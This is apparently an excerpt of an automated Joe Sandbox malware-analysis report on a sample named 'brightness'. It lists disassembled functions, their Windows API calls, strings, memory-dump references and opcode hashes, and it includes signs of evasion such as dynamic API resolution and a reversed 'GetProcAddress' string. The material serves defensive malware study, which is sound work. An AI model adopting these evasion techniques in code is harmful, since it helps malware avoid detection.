                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02906EEF
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02906EFF
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02906F0F
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02906F1F
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02906F2F
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 02906F3F
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AddressProc$HandleModule
                                                                                                                                                          • String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
                                                                                                                                                          • API String ID: 667068680-2233174745
                                                                                                                                                          • Opcode ID: 38ff2a457021cd9b03dcf28e245e83e835a6f2e60eecb2a20b0210c6b276a061
                                                                                                                                                          • Instruction ID: c00e144a72ce29b525ec0320b89c9c4721c1d84ee4f5fa22bcd98ba7cc7e51fa
                                                                                                                                                          • Opcode Fuzzy Hash: 38ff2a457021cd9b03dcf28e245e83e835a6f2e60eecb2a20b0210c6b276a061
                                                                                                                                                          • Instruction Fuzzy Hash: FBF04CEDA8D354ADBB80BB7A5CC18362BADA9A06047001D35BF52955C3FBB99434CF12
                                                                                                                                                          Function 028F2530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 028F28CE
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Message
                                                                                                                                                          • String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
                                                                                                                                                          • API String ID: 2030045667-32948583
                                                                                                                                                          • Opcode ID: ef38c1079bba3ce6b935655938c4f2654ab5d6f707c1a9e8b4942477be439c97
                                                                                                                                                          • Instruction ID: af15a8eca840a73ba692222d665dc1b8b7613e2721e4eaccd579508dd1ae14e6
                                                                                                                                                          • Opcode Fuzzy Hash: ef38c1079bba3ce6b935655938c4f2654ab5d6f707c1a9e8b4942477be439c97
                                                                                                                                                          • Instruction Fuzzy Hash: 4EA1E53CB042588BDBA1AA2CCC80BD9B7E5EB09314F1441E5DE4DDB28ACB7599C5CF51
                                                                                                                                                          Function 028F252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          • The unexpected small block leaks are:, xrefs: 028F2707
                                                                                                                                                          • Unexpected Memory Leak, xrefs: 028F28C0
                                                                                                                                                          • bytes: , xrefs: 028F275D
                                                                                                                                                          • The sizes of unexpected leaked medium and large blocks are: , xrefs: 028F2849
                                                                                                                                                          • , xrefs: 028F2814
                                                                                                                                                          • 7, xrefs: 028F26A1
                                                                                                                                                          • An unexpected memory leak has occurred. , xrefs: 028F2690
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
                                                                                                                                                          • API String ID: 0-2723507874
                                                                                                                                                          • Opcode ID: c6cebe4d5415243fc265e9653d5fb0d2cc1947e6225d06866ff5000d817da401
                                                                                                                                                          • Instruction ID: 9ef8f3d4fc71775a2469e8fb0ce13e60485e2deddc8798703584e78873dac5ff
                                                                                                                                                          • Opcode Fuzzy Hash: c6cebe4d5415243fc265e9653d5fb0d2cc1947e6225d06866ff5000d817da401
                                                                                                                                                          • Instruction Fuzzy Hash: B971D23CA042988FDBA19A2CCC84BD8BBE5EB09314F1041E5DA4DDB28ADB7559C5CF52
                                                                                                                                                          Function 028FBDC0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetThreadLocale.KERNEL32(00000000,028FC08B,?,?,00000000,00000000), ref: 028FBDF6
                                                                                                                                                            • Part of subcall function 028FA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 028FA7E2
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Locale$InfoThread
                                                                                                                                                          • String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
                                                                                                                                                          • API String ID: 4232894706-2493093252
                                                                                                                                                          • Opcode ID: 87d8c83f0fb0ae423b686f6619358e21f95ffecc4f94622af3291755496eebd1
                                                                                                                                                          • Instruction ID: c4b8ac4921e7125363eeccabf5d26a0c63f405002f0681c57283b74e8df6396a
                                                                                                                                                          • Opcode Fuzzy Hash: 87d8c83f0fb0ae423b686f6619358e21f95ffecc4f94622af3291755496eebd1
                                                                                                                                                          • Instruction Fuzzy Hash: E761563CB1024C5BDB84F7A8D850A9F77B7DB88304F508436A305DB745DA39DA1A8B92
                                                                                                                                                          Function 0290AE98 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • IsBadReadPtr.KERNEL32(?,00000004), ref: 0290AEB8
                                                                                                                                                          • GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 0290AECF
                                                                                                                                                          • IsBadReadPtr.KERNEL32(?,00000004), ref: 0290AF63
                                                                                                                                                          • IsBadReadPtr.KERNEL32(?,00000002), ref: 0290AF6F
                                                                                                                                                          • IsBadReadPtr.KERNEL32(?,00000014), ref: 0290AF83
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Read$HandleModule
                                                                                                                                                          • String ID: KernelBase$LoadLibraryExA
                                                                                                                                                          • API String ID: 2226866862-113032527
                                                                                                                                                          • Opcode ID: 25403d11bd3ca95181c2b0185996cf394163a28d2a1c760d5b40448413175a93
                                                                                                                                                          • Instruction ID: 5760d4f66d33d26fa79eefbd6dd9987962ccc696ac9d6a2dbc499218434e9f9b
                                                                                                                                                          • Opcode Fuzzy Hash: 25403d11bd3ca95181c2b0185996cf394163a28d2a1c760d5b40448413175a93
                                                                                                                                                          • Instruction Fuzzy Hash: AB313AB6A40309BFDB60DB68CCC5F5A77ACAF45769F004620EB14EB2C1D374A9508BE1
                                                                                                                                                          Function 028F435C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028F4423,?,?,0294A7C8,?,?,0291E7A8,028F65B1,0291D30D), ref: 028F4395
                                                                                                                                                          • WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028F4423,?,?,0294A7C8,?,?,0291E7A8,028F65B1,0291D30D), ref: 028F439B
                                                                                                                                                          • GetStdHandle.KERNEL32(000000F5,028F43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028F4423,?,?,0294A7C8), ref: 028F43B0
                                                                                                                                                          • WriteFile.KERNEL32(00000000,000000F5,028F43E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028F4423,?,?), ref: 028F43B6
                                                                                                                                                          • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 028F43D4
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: FileHandleWrite$Message
                                                                                                                                                          • String ID: Error$Runtime error at 00000000
                                                                                                                                                          • API String ID: 1570097196-2970929446
                                                                                                                                                          • Opcode ID: 13c44eecccb67c88ef7a7838513fa0e8d928a2cafa7a97ee0f2e4bd9912d6cd9
                                                                                                                                                          • Instruction ID: b18dffd4d8cd0dec94e34f834ef4aa3b293034712bbc52a161ef9d64d50b3e88
                                                                                                                                                          • Opcode Fuzzy Hash: 13c44eecccb67c88ef7a7838513fa0e8d928a2cafa7a97ee0f2e4bd9912d6cd9
                                                                                                                                                          • Instruction Fuzzy Hash: 82F0B46DAC8344B9FA50B2646C4AF6A279C6B44F61F640B06FB68E40C0C7B454C49B23
                                                                                                                                                          Function 028FAEC4 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                            • Part of subcall function 028FAD3C: VirtualQuery.KERNEL32(?,?,0000001C), ref: 028FAD59
                                                                                                                                                            • Part of subcall function 028FAD3C: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 028FAD7D
                                                                                                                                                            • Part of subcall function 028FAD3C: GetModuleFileNameA.KERNEL32(028F0000,?,00000105), ref: 028FAD98
                                                                                                                                                            • Part of subcall function 028FAD3C: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 028FAE2E
                                                                                                                                                          • CharToOemA.USER32(?,?), ref: 028FAEFB
                                                                                                                                                          • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 028FAF18
                                                                                                                                                          • WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 028FAF1E
                                                                                                                                                          • GetStdHandle.KERNEL32(000000F4,028FAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 028FAF33
                                                                                                                                                          • WriteFile.KERNEL32(00000000,000000F4,028FAF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 028FAF39
                                                                                                                                                          • LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 028FAF5B
                                                                                                                                                          • MessageBoxA.USER32(00000000,?,?,00002010), ref: 028FAF71
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 185507032-0
                                                                                                                                                          • Opcode ID: 0d31958158c424360cd3f560b12e94d876c9ba7e6338354db299afbdd468d6a2
                                                                                                                                                          • Instruction ID: f6766a8a5d414dad6ff91d29569578c5a06ac0456b3052540383ea7d53aad6c8
                                                                                                                                                          • Opcode Fuzzy Hash: 0d31958158c424360cd3f560b12e94d876c9ba7e6338354db299afbdd468d6a2
                                                                                                                                                          • Instruction Fuzzy Hash: 13119EBE548204BAD280FBA8CC81F9B77FDAB44310F404B15B758DA0E1EB35E9008B63
                                                                                                                                                          Function 028FE58C Relevance: 9.1, APIs: 6, Instructions: 139COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 028FE625
                                                                                                                                                          • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 028FE641
                                                                                                                                                          • SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 028FE67A
                                                                                                                                                          • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 028FE6F7
                                                                                                                                                          • SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 028FE710
                                                                                                                                                          • VariantCopy.OLEAUT32(?,00000000), ref: 028FE745
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: ArraySafe$BoundIndex$CopyCreateVariant
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 351091851-0
                                                                                                                                                          • Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                                                                                                                                          • Instruction ID: b1ae6e2e7411cab1dc8c5d854adac4aec59a995b7ee98975465b8e40e24b801a
                                                                                                                                                          • Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                                                                                                                                          • Instruction Fuzzy Hash: BE51E97D90122D9BCBA2DB58CC80BD9B3BDAF49300F0041D5E709E7211DA34AF858F65
                                                                                                                                                          Function 028F3598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028F35BA
                                                                                                                                                          • RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,028F3609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028F35ED
                                                                                                                                                          • RegCloseKey.ADVAPI32(?,028F3610,00000000,?,00000004,00000000,028F3609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028F3603
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: CloseOpenQueryValue
                                                                                                                                                          • String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
                                                                                                                                                          • API String ID: 3677997916-4173385793
                                                                                                                                                          • Opcode ID: d64a680c2d58bc0e9d61f9a7a873a91354b7c51bd300a35843df408d8cca54a1
                                                                                                                                                          • Instruction ID: 29f17367329dc28d3b4265cd66573d649d268d68da47627fa10071634d314a51
                                                                                                                                                          • Opcode Fuzzy Hash: d64a680c2d58bc0e9d61f9a7a873a91354b7c51bd300a35843df408d8cca54a1
                                                                                                                                                          • Instruction Fuzzy Hash: AC01B17D944258BAFB51DBD1CD02BB977FCDB08B00F1005A2FF04D6780E678AA10DA69
                                                                                                                                                          Function 02908140 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
                                                                                                                                                          • GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02908193
                                                                                                                                                          • GetProcAddress.KERNEL32(?,?), ref: 029081A5
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: AddressProc$HandleModule
                                                                                                                                                          • String ID: Kernel32$sserddAcorPteG
                                                                                                                                                          • API String ID: 667068680-1372893251
                                                                                                                                                          • Opcode ID: 34c13ad17ed103de6d107fb882f243ec898de1b7e39d5e95f6844ec084792c13
                                                                                                                                                          • Instruction ID: e2388d773744253974a208afcabd5319c71f90299ad79a052c970a1ccc23cb0f
                                                                                                                                                          • Opcode Fuzzy Hash: 34c13ad17ed103de6d107fb882f243ec898de1b7e39d5e95f6844ec084792c13
                                                                                                                                                          • Instruction Fuzzy Hash: 9901677CB44308AFE750EBA9D891E6E77EEFB4C704F514461F600D7691E674AD00CA25
                                                                                                                                                          Function 028FAA50 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetThreadLocale.KERNEL32(?,00000000,028FAAE7,?,?,00000000), ref: 028FAA68
                                                                                                                                                            • Part of subcall function 028FA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 028FA7E2
                                                                                                                                                          • GetThreadLocale.KERNEL32(00000000,00000004,00000000,028FAAE7,?,?,00000000), ref: 028FAA98
                                                                                                                                                          • EnumCalendarInfoA.KERNEL32(Function_0000A99C,00000000,00000000,00000004), ref: 028FAAA3
                                                                                                                                                          • GetThreadLocale.KERNEL32(00000000,00000003,00000000,028FAAE7,?,?,00000000), ref: 028FAAC1
                                                                                                                                                          • EnumCalendarInfoA.KERNEL32(Function_0000A9D8,00000000,00000000,00000003), ref: 028FAACC
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Locale$InfoThread$CalendarEnum
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 4102113445-0
                                                                                                                                                          • Opcode ID: 7ec7d67a14fcb5a017f40e6dad9c16bf8c16e2ec269f95e11af734a67e95c95d
                                                                                                                                                          • Instruction ID: b86e4be7db7cc74cf2fe5faf3853e83b0dc18b2a150d26f8abb4ae3441a755f1
                                                                                                                                                          • Opcode Fuzzy Hash: 7ec7d67a14fcb5a017f40e6dad9c16bf8c16e2ec269f95e11af734a67e95c95d
                                                                                                                                                          • Instruction Fuzzy Hash: 6601DF7C3003447BF696AA68CD11B6F736DDB86720F510260E728E67C1E6699E108A66
                                                                                                                                                          Function 028FAB00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetThreadLocale.KERNEL32(?,00000000,028FACD0,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 028FAB2F
                                                                                                                                                            • Part of subcall function 028FA7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 028FA7E2
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 00000004.00000002.1866087402.00000000028F1000.00000020.00001000.00020000.00000000.sdmp, Offset: 028F0000, based on PE: true
                                                                                                                                                          • Associated: 00000004.00000002.1866051784.00000000028F0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866268252.000000000291E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866461791.000000000294B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A3F000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 00000004.00000002.1866566708.0000000002A42000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_4_2_28f0000_brightness.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Locale$InfoThread
                                                                                                                                                          • String ID: eeee$ggg$yyyy
                                                                                                                                                          • API String ID: 4232894706-1253427255
                                                                                                                                                          • Opcode ID: 8d7e56c3cd8083b617740a9c784422074f00c12cd25528a9e67213cc6f913f65
                                                                                                                                                          • Instruction ID: e6ed53b4fb15aa67f436e1a775cb50273d291ee87fb120c7ff92f26164ce9e2a
                                                                                                                                                          • Opcode Fuzzy Hash: 8d7e56c3cd8083b617740a9c784422074f00c12cd25528a9e67213cc6f913f65
                                                                                                                                                          • Instruction Fuzzy Hash: 6E41F57D7041084BE7D9EB7C889067FF3EBDB86224B504522D75AC3354EA78ED05CA26
                                                                                                                                                          Function 02908098 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02908108,?,?,00000000,?,02907A7E,ntdll,00000000,00000000,02907AC3,?,?,00000000), ref: 029080D6
                                                                                                                                                            • Part of subcall function 02908140: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,029081C8,?,?,00000000,00000000,?,029080E1,00000000,KernelBASE,00000000,00000000,02908108), ref: 0290818D
